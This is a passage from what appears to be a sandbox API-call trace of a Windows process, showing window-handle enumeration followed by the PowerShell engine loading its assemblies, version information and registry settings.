| out: lpdwProcessId=0x27e9b0) returned 0x290 [0089.965] GetLastError () returned 0x0 [0089.965] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0xb44 [0089.966] GetLastError () returned 0x0 [0089.966] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0xb44 [0089.966] GetLastError () returned 0x0 [0089.966] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9f0 [0089.966] GetLastError () returned 0x0 [0089.966] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9e0 [0089.966] GetLastError () returned 0x0 [0089.966] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9d0 [0089.966] GetLastError () returned 0x0 [0089.966] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9c0 [0089.966] GetLastError () returned 0x0 [0089.966] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9b0 [0089.966] GetLastError () returned 0x0 [0089.966] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x9a0 [0089.967] GetLastError () returned 0x0 [0089.967] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x990 [0089.967] GetLastError () returned 0x0 [0089.967] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x980 [0089.967] GetLastError () returned 0x0 [0089.967] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x970 [0089.967] GetLastError () returned 0x0 [0089.967] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x960 [0089.967] GetLastError () returned 0x0 [0089.967] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x94c [0089.967] GetLastError () returned 0x0 [0089.967] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x93c [0089.967] GetLastError () returned 0x0 [0089.967] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x92c [0089.967] GetLastError () returned 0x0 [0089.968] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x91c [0089.968] GetLastError () returned 0x0 [0089.968] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x90c [0089.968] GetLastError () returned 0x0 [0089.968] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8fc [0089.968] GetLastError () returned 0x0 [0089.968] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8ec [0089.968] GetLastError () returned 0x0 [0089.968] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8dc [0089.968] GetLastError () returned 0x0 [0089.968] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8c8 [0089.968] GetLastError () returned 0x0 [0089.968] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8b8 [0089.969] GetLastError () returned 0x0 [0089.969] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x8a8 [0089.969] GetLastError () returned 0x0 [0089.969] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x898 [0089.969] GetLastError () returned 0x0 [0089.969] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x888 [0089.969] GetLastError () returned 0x0 [0089.969] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x878 [0089.969] GetLastError () returned 0x0 [0089.969] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x868 [0089.969] GetLastError () returned 0x0 [0089.969] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x858 [0089.969] GetLastError () returned 0x0 [0089.969] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x848 [0089.969] GetLastError () returned 0x0 [0089.970] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x838 [0089.970] GetLastError () returned 0x0 [0089.970] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x828 [0089.970] GetLastError () returned 0x0 [0089.970] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x818 [0089.970] GetLastError () returned 0x0 [0089.970] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x808 [0089.970] GetLastError () returned 0x0 [0089.970] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x634 [0089.970] GetLastError () returned 0x0 [0089.970] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x78c [0089.970] GetLastError () returned 0x0 [0089.970] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x704 [0089.970] GetLastError () returned 0x0 [0089.971] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x600 [0089.971] GetLastError () returned 0x0 [0089.971] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x410 [0089.971] GetLastError () returned 0x0 [0089.971] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4fc [0089.971] GetLastError () returned 0x0 [0089.971] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x20c [0089.971] GetLastError () returned 0x0 [0089.971] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x124 [0089.971] GetLastError () returned 0x0 [0089.971] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x620 [0089.971] GetLastError () returned 0x0 [0089.971] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x734 [0089.971] GetLastError () returned 0x0 [0089.972] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x6dc [0089.972] GetLastError () returned 0x0 [0089.972] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x6fc [0089.972] GetLastError () returned 0x0 [0089.972] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x138 [0089.972] GetLastError () returned 0x0 [0089.972] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x5ac [0089.972] GetLastError () returned 0x0 [0089.972] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x48c [0089.972] GetLastError () returned 0x0 [0089.972] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7e4 [0089.972] GetLastError () returned 0x0 [0089.972] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x788 [0089.972] GetLastError () returned 0x0 [0089.973] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7e0 [0089.973] GetLastError () returned 0x0 [0089.973] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x418 [0089.973] GetLastError () returned 0x0 [0089.973] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x15c [0089.973] GetLastError () returned 0x0 [0089.973] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x798 [0089.973] GetLastError () returned 0x0 [0089.973] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x5d4 [0089.973] GetLastError () returned 0x0 [0089.973] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7cc [0089.973] GetLastError () returned 0x0 [0089.973] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x2a8 [0089.973] GetLastError () returned 0x0 [0089.974] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x23c [0089.974] GetLastError () returned 0x0 [0089.974] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x560 [0089.974] GetLastError () returned 0x0 [0089.974] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x564 [0089.974] GetLastError () returned 0x0 [0089.974] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x7a8 [0089.974] GetLastError () returned 0x0 [0089.974] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x76c [0089.974] GetLastError () returned 0x0 [0089.974] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x90 [0089.974] GetLastError () returned 0x0 [0089.974] GetWindowThreadProcessId (in: hWnd=0x20164, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x6ec [0089.974] GetLastError () returned 0x0 [0089.975] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x50c [0089.975] GetLastError () returned 0x0 [0089.975] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x514 [0089.975] GetLastError () returned 0x0 [0089.975] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4f0 [0089.975] GetLastError () returned 0x0 [0089.975] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x58c [0089.975] GetLastError () returned 0x0 [0089.975] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x458 [0089.975] GetLastError () returned 0x0 [0089.975] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x4f4 [0089.975] GetLastError () returned 0x0 [0089.975] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x794 [0089.975] GetLastError () returned 0x0 [0089.976] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x458 [0089.976] GetLastError () returned 0x0 [0089.976] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x27e9b0 | out: lpdwProcessId=0x27e9b0) returned 0x778 [0089.976] GetLastError () returned 0x0 [0089.976] GetLastError () returned 0x0 [0089.980] WerSetFlags () returned 0x0 [0089.997] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0090.000] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x27ed8c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x27ed88 | out: pulNumLanguages=0x27ed8c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x27ed88) returned 1 [0090.000] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x27ed8c, pwszLanguagesBuffer=0x291420c, pcchLanguagesBuffer=0x27ed88 | out: pulNumLanguages=0x27ed8c, pwszLanguagesBuffer=0x291420c, pcchLanguagesBuffer=0x27ed88) returned 1 [0090.012] GetUserDefaultLocaleName (in: lpLocaleName=0x6f7118, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0090.046] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.046] GetLastError () returned 0xcb [0090.051] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.051] GetLastError () returned 0xcb [0090.053] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.053] GetLastError () returned 0xcb [0090.067] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.067] GetLastError () returned 0xcb [0090.067] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e818, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.067] GetLastError () returned 0xcb [0090.067] SetErrorMode (uMode=0x1) returned 0x1 [0090.067] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x27ec98 | out: lpFileInformation=0x27ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0090.068] GetLastError () returned 0xcb [0090.068] SetErrorMode (uMode=0x1) returned 0x1 [0090.068] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x27ed1c | out: lpdwHandle=0x27ed1c) returned 0x94c [0090.068] GetLastError () returned 0x0 [0090.068] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x291673c | out: lpData=0x291673c) returned 1 [0090.069] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27ece8, puLen=0x27ece4 | out: lplpBuffer=0x27ece8*=0x29167d8, puLen=0x27ece4) returned 1 [0090.069] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x29168b4, puLen=0x27ec60) returned 1 [0090.069] lstrlenW (lpString="Microsoft Corporation") returned 21 [0090.069] lstrcpyW (in: lpString1=0x6f7118, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0090.070] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x2916908, puLen=0x27ec60) returned 1 [0090.070] lstrlenW (lpString="System.Management.Automation") returned 28 [0090.070] lstrcpyW (in: lpString1=0x6f7118, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0090.070] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x2916964, puLen=0x27ec60) returned 1 [0090.070] lstrlenW (lpString="6.1.7601.17514") returned 14 [0090.070] lstrcpyW (in: lpString1=0x6f7118, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0090.070] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x29169a4, puLen=0x27ec60) returned 1 [0090.070] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0090.070] lstrcpyW (in: lpString1=0x6f7118, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0090.070] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x2916a0c, puLen=0x27ec60) returned 1 [0090.070] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0090.070] lstrcpyW (in: lpString1=0x6f7118, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0090.070] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x2916aa8, puLen=0x27ec60) returned 1 [0090.070] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0090.070] lstrcpyW (in: lpString1=0x6f7118, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0090.070] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x2916b0c, puLen=0x27ec60) returned 1 [0090.070] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0090.070] lstrcpyW (in: lpString1=0x6f7118, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0090.071] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x2916b88, puLen=0x27ec60) returned 1 [0090.071] lstrlenW (lpString="6.1.7601.17514") returned 14 [0090.071] lstrcpyW (in: lpString1=0x6f7118, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0090.071] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x2916830, puLen=0x27ec60) returned 1 [0090.071] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0090.071] lstrcpyW (in: lpString1=0x6f7118, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0090.071] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x0, puLen=0x27ec60) returned 0 [0090.071] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x0, puLen=0x27ec60) returned 0 [0090.071] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x27ec64, puLen=0x27ec60 | out: lplpBuffer=0x27ec64*=0x0, puLen=0x27ec60) returned 0 [0090.071] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27ec58, puLen=0x27ec54 | out: lplpBuffer=0x27ec58*=0x29167d8, puLen=0x27ec54) returned 1 [0090.071] VerLanguageNameW (in: wLang=0x0, szLang=0x6f7118, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0090.071] VerQueryValueW (in: pBlock=0x291673c, lpSubBlock="\\", lplpBuffer=0x27ec6c, puLen=0x27ec68 | out: lplpBuffer=0x27ec6c*=0x2916764, puLen=0x27ec68) returned 1 [0090.081] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.081] GetLastError () returned 0xcb [0090.091] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.091] GetLastError () returned 0xcb [0090.096] lstrlenW (lpString="䅁") returned 1 [0090.101] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27ec30 | out: phkResult=0x27ec30*=0x324) returned 0x0 [0090.101] RegOpenKeyExW (in: hKey=0x324, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x27ec34 | out: phkResult=0x27ec34*=0x328) returned 0x0 [0090.101] RegOpenKeyExW (in: hKey=0x328, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27ec68 | out: phkResult=0x27ec68*=0x32c) returned 0x0 [0090.104] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eca8, lpData=0x0, lpcbData=0x27eca4*=0x0 | out: lpType=0x27eca8*=0x1, lpData=0x0, lpcbData=0x27eca4*=0x56) returned 0x0 [0090.106] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27eca8, lpData=0x6f7118, lpcbData=0x27eca4*=0x56 | out: lpType=0x27eca8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27eca4*=0x56) returned 0x0 [0090.111] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.111] GetLastError () returned 0x0 [0090.114] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.114] GetLastError () returned 0x0 [0090.141] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.141] GetLastError () returned 0x0 [0090.163] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.163] GetLastError () returned 0xcb [0090.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0090.486] GetLastError () returned 0x2 [0090.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0090.486] GetLastError () returned 0x2 [0090.596] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.596] GetLastError () returned 0xcb [0090.597] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.597] GetLastError () returned 0xcb [0090.629] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.629] GetLastError () returned 0xcb [0090.630] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.630] GetLastError () returned 0xcb [0090.631] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.631] GetLastError () returned 0xcb [0090.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: 